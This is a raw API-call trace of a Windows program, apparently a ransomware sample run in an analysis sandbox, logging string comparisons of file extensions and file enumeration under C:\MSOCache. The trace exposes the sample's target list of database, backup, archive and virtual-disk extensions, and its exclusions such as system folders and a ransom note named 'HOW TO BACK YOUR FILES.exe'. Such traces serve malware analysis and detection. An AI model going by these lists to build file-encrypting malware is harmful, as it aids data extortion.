	[0078.958] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0078.958] lstrlenW (lpString="$er") returned 3
	[0078.958] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0078.958] lstrlenW (lpString="4dd") returned 3
	[0078.958] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0078.958] lstrlenW (lpString="4dl") returned 3
	[0078.958] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0078.958] lstrlenW (lpString="^^^") returned 3
	[0078.958] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0078.958] lstrlenW (lpString="abs") returned 3
	[0078.958] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0078.958] lstrlenW (lpString="abx") returned 3
	[0078.959] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0078.959] lstrlenW (lpString="accdb") returned 5
	[0078.959] lstrcmpiW (lpString1="f.cab", lpString2="accdb") returned 1
	[0078.959] lstrlenW (lpString="accdc") returned 5
	[0078.959] lstrcmpiW (lpString1="f.cab", lpString2="accdc") returned 1
	[0078.959] lstrlenW (lpString="accde") returned 5
	[0078.959] lstrcmpiW (lpString1="f.cab", lpString2="accde") returned 1
	[0078.959] lstrlenW (lpString="accdr") returned 5
	[0078.959] lstrcmpiW (lpString1="f.cab", lpString2="accdr") returned 1
	[0078.959] lstrlenW (lpString="accdt") returned 5
	[0078.959] lstrcmpiW (lpString1="f.cab", lpString2="accdt") returned 1
	[0078.959] lstrlenW (lpString="accdw") returned 5
	[0078.959] lstrcmpiW (lpString1="f.cab", lpString2="accdw") returned 1
	[0078.959] lstrlenW (lpString="accft") returned 5
	[0078.959] lstrcmpiW (lpString1="f.cab", lpString2="accft") returned 1
	[0078.959] lstrlenW (lpString="adb") returned 3
	[0078.959] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0078.959] lstrlenW (lpString="adb") returned 3
	[0078.959] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0078.959] lstrlenW (lpString="ade") returned 3
	[0078.959] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0078.959] lstrlenW (lpString="adf") returned 3
	[0078.959] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0078.959] lstrlenW (lpString="adn") returned 3
	[0078.959] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0078.959] lstrlenW (lpString="adp") returned 3
	[0078.959] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0078.959] lstrlenW (lpString="alf") returned 3
	[0078.959] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0078.959] lstrlenW (lpString="ask") returned 3
	[0078.959] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0078.959] lstrlenW (lpString="btr") returned 3
	[0078.959] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0078.959] lstrlenW (lpString="cat") returned 3
	[0078.959] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0078.959] lstrlenW (lpString="cdb") returned 3
	[0078.959] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0078.959] lstrlenW (lpString="ckp") returned 3
	[0078.959] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0078.960] lstrlenW (lpString="cma") returned 3
	[0078.960] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0078.960] lstrlenW (lpString="cpd") returned 3
	[0078.960] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0078.960] lstrlenW (lpString="dacpac") returned 6
	[0078.960] lstrcmpiW (lpString1="of.cab", lpString2="dacpac") returned 1
	[0078.960] lstrlenW (lpString="dad") returned 3
	[0078.960] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0078.960] lstrlenW (lpString="dadiagrams") returned 10
	[0078.960] lstrlenW (lpString="daschema") returned 8
	[0078.960] lstrcmpiW (lpString1="roof.cab", lpString2="daschema") returned 1
	[0078.960] lstrlenW (lpString="db-journal") returned 10
	[0078.960] lstrlenW (lpString="db-shm") returned 6
	[0078.960] lstrcmpiW (lpString1="of.cab", lpString2="db-shm") returned 1
	[0078.960] lstrlenW (lpString="db-wal") returned 6
	[0078.960] lstrcmpiW (lpString1="of.cab", lpString2="db-wal") returned 1
	[0078.960] lstrlenW (lpString="dbc") returned 3
	[0078.960] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0078.960] lstrlenW (lpString="dbs") returned 3
	[0078.960] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0078.960] lstrlenW (lpString="dbt") returned 3
	[0078.960] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0078.960] lstrlenW (lpString="dbv") returned 3
	[0078.960] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0078.960] lstrlenW (lpString="dbx") returned 3
	[0078.960] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0078.960] lstrlenW (lpString="dcb") returned 3
	[0078.960] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0078.960] lstrlenW (lpString="dct") returned 3
	[0078.960] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0078.960] lstrlenW (lpString="dcx") returned 3
	[0078.960] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0078.960] lstrlenW (lpString="ddl") returned 3
	[0078.960] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0078.960] lstrlenW (lpString="dlis") returned 4
	[0078.960] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0078.960] lstrlenW (lpString="dp1") returned 3
	[0078.960] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0078.961] lstrlenW (lpString="dqy") returned 3
	[0078.961] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0078.961] lstrlenW (lpString="dsk") returned 3
	[0078.961] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0078.961] lstrlenW (lpString="dsn") returned 3
	[0078.961] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0078.961] lstrlenW (lpString="dtsx") returned 4
	[0078.961] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0078.961] lstrlenW (lpString="dxl") returned 3
	[0078.961] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0078.961] lstrlenW (lpString="eco") returned 3
	[0078.961] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0078.961] lstrlenW (lpString="ecx") returned 3
	[0078.961] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0078.961] lstrlenW (lpString="edb") returned 3
	[0078.961] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0078.961] lstrlenW (lpString="epim") returned 4
	[0078.961] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0078.961] lstrlenW (lpString="fcd") returned 3
	[0078.961] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0078.961] lstrlenW (lpString="fdb") returned 3
	[0078.961] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0078.961] lstrlenW (lpString="fic") returned 3
	[0078.961] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0078.961] lstrlenW (lpString="flexolibrary") returned 12
	[0078.961] lstrlenW (lpString="fm5") returned 3
	[0078.961] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0078.961] lstrlenW (lpString="fmp") returned 3
	[0078.961] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0078.961] lstrlenW (lpString="fmp12") returned 5
	[0078.961] lstrcmpiW (lpString1="f.cab", lpString2="fmp12") returned -1
	[0078.961] lstrlenW (lpString="fmpsl") returned 5
	[0078.961] lstrcmpiW (lpString1="f.cab", lpString2="fmpsl") returned -1
	[0078.961] lstrlenW (lpString="fol") returned 3
	[0078.961] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0078.961] lstrlenW (lpString="fp3") returned 3
	[0078.961] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0078.961] lstrlenW (lpString="fp4") returned 3
	[0078.962] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0078.962] lstrlenW (lpString="fp5") returned 3
	[0078.962] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0078.962] lstrlenW (lpString="fp7") returned 3
	[0078.962] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0078.962] lstrlenW (lpString="fpt") returned 3
	[0078.962] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0078.962] lstrlenW (lpString="frm") returned 3
	[0078.962] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0078.962] lstrlenW (lpString="gdb") returned 3
	[0078.962] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0078.962] lstrlenW (lpString="gdb") returned 3
	[0078.962] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0078.962] lstrlenW (lpString="grdb") returned 4
	[0078.962] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0078.962] lstrlenW (lpString="gwi") returned 3
	[0078.962] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0078.962] lstrlenW (lpString="hdb") returned 3
	[0078.962] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0078.962] lstrlenW (lpString="his") returned 3
	[0078.962] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0078.962] lstrlenW (lpString="ib") returned 2
	[0078.962] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0078.962] lstrlenW (lpString="idb") returned 3
	[0078.962] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0078.962] lstrlenW (lpString="ihx") returned 3
	[0078.962] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0078.962] lstrlenW (lpString="itdb") returned 4
	[0078.962] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0078.962] lstrlenW (lpString="itw") returned 3
	[0078.962] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0078.962] lstrlenW (lpString="jet") returned 3
	[0078.962] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0078.962] lstrlenW (lpString="jtx") returned 3
	[0078.962] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0078.962] lstrlenW (lpString="kdb") returned 3
	[0078.962] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0078.962] lstrlenW (lpString="kexi") returned 4
	[0078.963] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0078.963] lstrlenW (lpString="kexic") returned 5
	[0078.963] lstrcmpiW (lpString1="f.cab", lpString2="kexic") returned -1
	[0078.963] lstrlenW (lpString="kexis") returned 5
	[0078.963] lstrcmpiW (lpString1="f.cab", lpString2="kexis") returned -1
	[0078.963] lstrlenW (lpString="lgc") returned 3
	[0078.963] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0078.963] lstrlenW (lpString="lwx") returned 3
	[0078.963] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0078.963] lstrlenW (lpString="maf") returned 3
	[0078.963] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0078.963] lstrlenW (lpString="maq") returned 3
	[0078.963] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0078.963] lstrlenW (lpString="mar") returned 3
	[0078.963] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0078.963] lstrlenW (lpString="marshal") returned 7
	[0078.963] lstrcmpiW (lpString1="oof.cab", lpString2="marshal") returned 1
	[0078.963] lstrlenW (lpString="mas") returned 3
	[0078.963] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0078.963] lstrlenW (lpString="mav") returned 3
	[0078.963] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0078.963] lstrlenW (lpString="maw") returned 3
	[0078.963] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0078.963] lstrlenW (lpString="mdbhtml") returned 7
	[0078.963] lstrcmpiW (lpString1="oof.cab", lpString2="mdbhtml") returned 1
	[0078.963] lstrlenW (lpString="mdn") returned 3
	[0078.963] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0078.963] lstrlenW (lpString="mdt") returned 3
	[0078.963] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0078.963] lstrlenW (lpString="mfd") returned 3
	[0078.963] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0078.963] lstrlenW (lpString="mpd") returned 3
	[0078.963] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0078.963] lstrlenW (lpString="mrg") returned 3
	[0078.963] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0078.963] lstrlenW (lpString="mud") returned 3
	[0078.963] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0078.963] lstrlenW (lpString="mwb") returned 3
	[0078.963] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0078.964] lstrlenW (lpString="myd") returned 3
	[0078.964] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0078.964] lstrlenW (lpString="ndf") returned 3
	[0078.964] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0078.964] lstrlenW (lpString="nnt") returned 3
	[0078.964] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0078.964] lstrlenW (lpString="nrmlib") returned 6
	[0078.964] lstrcmpiW (lpString1="of.cab", lpString2="nrmlib") returned 1
	[0078.964] lstrlenW (lpString="ns2") returned 3
	[0078.964] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0078.964] lstrlenW (lpString="ns3") returned 3
	[0078.964] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0078.964] lstrlenW (lpString="ns4") returned 3
	[0078.964] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0078.964] lstrlenW (lpString="nsf") returned 3
	[0078.964] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0078.964] lstrlenW (lpString="nv") returned 2
	[0078.964] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0078.964] lstrlenW (lpString="nv2") returned 3
	[0078.964] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0078.964] lstrlenW (lpString="nwdb") returned 4
	[0078.964] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0078.964] lstrlenW (lpString="nyf") returned 3
	[0078.964] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0078.964] lstrlenW (lpString="odb") returned 3
	[0078.964] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0078.964] lstrlenW (lpString="odb") returned 3
	[0078.964] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0078.964] lstrlenW (lpString="oqy") returned 3
	[0078.964] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0078.964] lstrlenW (lpString="ora") returned 3
	[0078.964] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0078.964] lstrlenW (lpString="orx") returned 3
	[0078.964] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0078.964] lstrlenW (lpString="owc") returned 3
	[0078.964] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0078.964] lstrlenW (lpString="p96") returned 3
	[0078.964] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0078.965] lstrlenW (lpString="p97") returned 3
	[0078.965] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0078.965] lstrlenW (lpString="pan") returned 3
	[0078.965] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0078.965] lstrlenW (lpString="pdb") returned 3
	[0078.965] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0078.965] lstrlenW (lpString="pdm") returned 3
	[0078.965] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0078.965] lstrlenW (lpString="pnz") returned 3
	[0078.965] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0078.965] lstrlenW (lpString="qry") returned 3
	[0078.965] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0078.965] lstrlenW (lpString="qvd") returned 3
	[0078.965] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0078.965] lstrlenW (lpString="rbf") returned 3
	[0078.965] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0078.965] lstrlenW (lpString="rctd") returned 4
	[0078.965] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0078.965] lstrlenW (lpString="rod") returned 3
	[0078.965] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0078.965] lstrlenW (lpString="rodx") returned 4
	[0078.965] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0078.965] lstrlenW (lpString="rpd") returned 3
	[0078.965] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0078.965] lstrlenW (lpString="rsd") returned 3
	[0078.965] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0078.965] lstrlenW (lpString="sas7bdat") returned 8
	[0078.965] lstrcmpiW (lpString1="roof.cab", lpString2="sas7bdat") returned -1
	[0078.965] lstrlenW (lpString="sbf") returned 3
	[0078.965] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0078.965] lstrlenW (lpString="scx") returned 3
	[0078.965] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0078.965] lstrlenW (lpString="sdb") returned 3
	[0078.965] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0078.965] lstrlenW (lpString="sdc") returned 3
	[0078.965] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0078.965] lstrlenW (lpString="sdf") returned 3
	[0078.965] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0078.965] lstrlenW (lpString="sis") returned 3
	[0078.966] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0078.966] lstrlenW (lpString="spq") returned 3
	[0078.966] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0078.966] lstrlenW (lpString="te") returned 2
	[0078.966] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0078.966] lstrlenW (lpString="teacher") returned 7
	[0078.966] lstrcmpiW (lpString1="oof.cab", lpString2="teacher") returned -1
	[0078.966] lstrlenW (lpString="tmd") returned 3
	[0078.966] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0078.966] lstrlenW (lpString="tps") returned 3
	[0078.966] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0078.966] lstrlenW (lpString="trc") returned 3
	[0078.966] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0078.966] lstrlenW (lpString="trc") returned 3
	[0078.966] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0078.966] lstrlenW (lpString="trm") returned 3
	[0078.966] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0078.966] lstrlenW (lpString="udb") returned 3
	[0078.966] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0078.966] lstrlenW (lpString="udl") returned 3
	[0078.966] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0078.966] lstrlenW (lpString="usr") returned 3
	[0078.966] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0078.966] lstrlenW (lpString="v12") returned 3
	[0078.966] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0078.966] lstrlenW (lpString="vis") returned 3
	[0078.966] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0078.966] lstrlenW (lpString="vpd") returned 3
	[0078.966] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0078.966] lstrlenW (lpString="vvv") returned 3
	[0078.966] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0078.966] lstrlenW (lpString="wdb") returned 3
	[0078.966] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0078.966] lstrlenW (lpString="wmdb") returned 4
	[0078.966] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0078.966] lstrlenW (lpString="wrk") returned 3
	[0078.966] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0078.966] lstrlenW (lpString="xdb") returned 3
	[0078.967] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0078.967] lstrlenW (lpString="xld") returned 3
	[0078.967] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0078.967] lstrlenW (lpString="xmlff") returned 5
	[0078.967] lstrcmpiW (lpString1="f.cab", lpString2="xmlff") returned -1
	[0078.967] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1
	[0078.967] lstrcmpiW (lpString1="Proof.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.967] lstrcmpiW (lpString1="Proof.msi", lpString2="Apollon865.txt.exe") returned 1
	[0078.967] lstrcmpiW (lpString1="Proof.msi", lpString2=".") returned 1
	[0078.967] lstrcmpiW (lpString1="Proof.msi", lpString2="..") returned 1
	[0078.967] lstrcmpiW (lpString1="Proof.msi", lpString2="windows") returned -1
	[0078.967] lstrcmpiW (lpString1="Proof.msi", lpString2="bootmgr") returned 1
	[0078.967] lstrcmpiW (lpString1="Proof.msi", lpString2="temp") returned -1
	[0078.967] lstrcmpiW (lpString1="Proof.msi", lpString2="pagefile.sys") returned 1
	[0078.967] lstrcmpiW (lpString1="Proof.msi", lpString2="boot") returned 1
	[0078.967] lstrcmpiW (lpString1="Proof.msi", lpString2="ids.txt") returned 1
	[0078.967] lstrcmpiW (lpString1="Proof.msi", lpString2="ntuser.dat") returned 1
	[0078.967] lstrcmpiW (lpString1="Proof.msi", lpString2="perflogs") returned 1
	[0078.967] lstrcmpiW (lpString1="Proof.msi", lpString2="MSBuild") returned 1
	[0078.967] lstrlenW (lpString="Proof.msi") returned 9
	[0078.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0078.967] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Proof.msi" | out: lpString1="Proof.msi") returned="Proof.msi"
	[0078.967] lstrlenW (lpString="Proof.msi") returned 9
	[0078.967] lstrlenW (lpString="Apollon865") returned 10
	[0078.967] lstrlenW (lpString=".dll") returned 4
	[0078.967] lstrcmpiW (lpString1="Proof.msi", lpString2=".dll") returned 1
	[0078.967] lstrlenW (lpString=".lnk") returned 4
	[0078.967] lstrcmpiW (lpString1="Proof.msi", lpString2=".lnk") returned 1
	[0078.967] lstrlenW (lpString=".ini") returned 4
	[0078.967] lstrcmpiW (lpString1="Proof.msi", lpString2=".ini") returned 1
	[0078.967] lstrlenW (lpString=".sys") returned 4
	[0078.967] lstrcmpiW (lpString1="Proof.msi", lpString2=".sys") returned 1
	[0078.967] lstrlenW (lpString="Proof.msi") returned 9
	[0078.967] lstrlenW (lpString="bak") returned 3
	[0078.967] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0078.967] lstrlenW (lpString="ba_") returned 3
	[0078.967] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0078.967] lstrlenW (lpString="dbb") returned 3
	[0078.968] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0078.968] lstrlenW (lpString="vmdk") returned 4
	[0078.968] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0078.968] lstrlenW (lpString="rar") returned 3
	[0078.968] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0078.968] lstrlenW (lpString="zip") returned 3
	[0078.968] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0078.968] lstrlenW (lpString="tgz") returned 3
	[0078.968] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0078.968] lstrlenW (lpString="vbox") returned 4
	[0078.968] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0078.968] lstrlenW (lpString="vdi") returned 3
	[0078.968] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0078.968] lstrlenW (lpString="vhd") returned 3
	[0078.968] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0078.968] lstrlenW (lpString="vhdx") returned 4
	[0078.968] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0078.968] lstrlenW (lpString="avhd") returned 4
	[0078.968] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0078.968] lstrlenW (lpString="db") returned 2
	[0078.968] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0078.968] lstrlenW (lpString="db2") returned 3
	[0078.968] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0078.968] lstrlenW (lpString="db3") returned 3
	[0078.968] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0078.968] lstrlenW (lpString="dbf") returned 3
	[0078.968] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0078.968] lstrlenW (lpString="mdf") returned 3
	[0078.968] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0078.968] lstrlenW (lpString="mdb") returned 3
	[0078.968] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0078.968] lstrlenW (lpString="sql") returned 3
	[0078.968] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0078.968] lstrlenW (lpString="sqlite") returned 6
	[0078.968] lstrcmpiW (lpString1="of.msi", lpString2="sqlite") returned -1
	[0078.969] lstrlenW (lpString="sqlite3") returned 7
	[0078.969] lstrcmpiW (lpString1="oof.msi", lpString2="sqlite3") returned -1
	[0078.969] lstrlenW (lpString="sqlitedb") returned 8
	[0078.969] lstrcmpiW (lpString1="roof.msi", lpString2="sqlitedb") returned -1
	[0078.969] lstrlenW (lpString="xml") returned 3
	[0078.969] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0078.969] lstrlenW (lpString="$er") returned 3
	[0078.969] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0078.969] lstrlenW (lpString="4dd") returned 3
	[0078.969] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0078.969] lstrlenW (lpString="4dl") returned 3
	[0078.969] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0078.969] lstrlenW (lpString="^^^") returned 3
	[0078.969] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0078.969] lstrlenW (lpString="abs") returned 3
	[0078.969] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0078.969] lstrlenW (lpString="abx") returned 3
	[0078.969] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0078.969] lstrlenW (lpString="accdb") returned 5
	[0078.969] lstrcmpiW (lpString1="f.msi", lpString2="accdb") returned 1
	[0078.969] lstrlenW (lpString="accdc") returned 5
	[0078.969] lstrcmpiW (lpString1="f.msi", lpString2="accdc") returned 1
	[0078.969] lstrlenW (lpString="accde") returned 5
	[0078.969] lstrcmpiW (lpString1="f.msi", lpString2="accde") returned 1
	[0078.969] lstrlenW (lpString="accdr") returned 5
	[0078.969] lstrcmpiW (lpString1="f.msi", lpString2="accdr") returned 1
	[0078.969] lstrlenW (lpString="accdt") returned 5
	[0078.969] lstrcmpiW (lpString1="f.msi", lpString2="accdt") returned 1
	[0078.969] lstrlenW (lpString="accdw") returned 5
	[0078.969] lstrcmpiW (lpString1="f.msi", lpString2="accdw") returned 1
	[0078.969] lstrlenW (lpString="accft") returned 5
	[0078.969] lstrcmpiW (lpString1="f.msi", lpString2="accft") returned 1
	[0078.969] lstrlenW (lpString="adb") returned 3
	[0078.969] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0078.969] lstrlenW (lpString="adb") returned 3
	[0078.969] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0078.969] lstrlenW (lpString="ade") returned 3
	[0078.969] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0078.970] lstrlenW (lpString="adf") returned 3
	[0078.970] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0078.970] lstrlenW (lpString="adn") returned 3
	[0078.970] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0078.970] lstrlenW (lpString="adp") returned 3
	[0078.970] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0078.970] lstrlenW (lpString="alf") returned 3
	[0078.970] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0078.970] lstrlenW (lpString="ask") returned 3
	[0078.970] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0078.970] lstrlenW (lpString="btr") returned 3
	[0078.970] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0078.970] lstrlenW (lpString="cat") returned 3
	[0078.970] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0078.970] lstrlenW (lpString="cdb") returned 3
	[0078.970] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
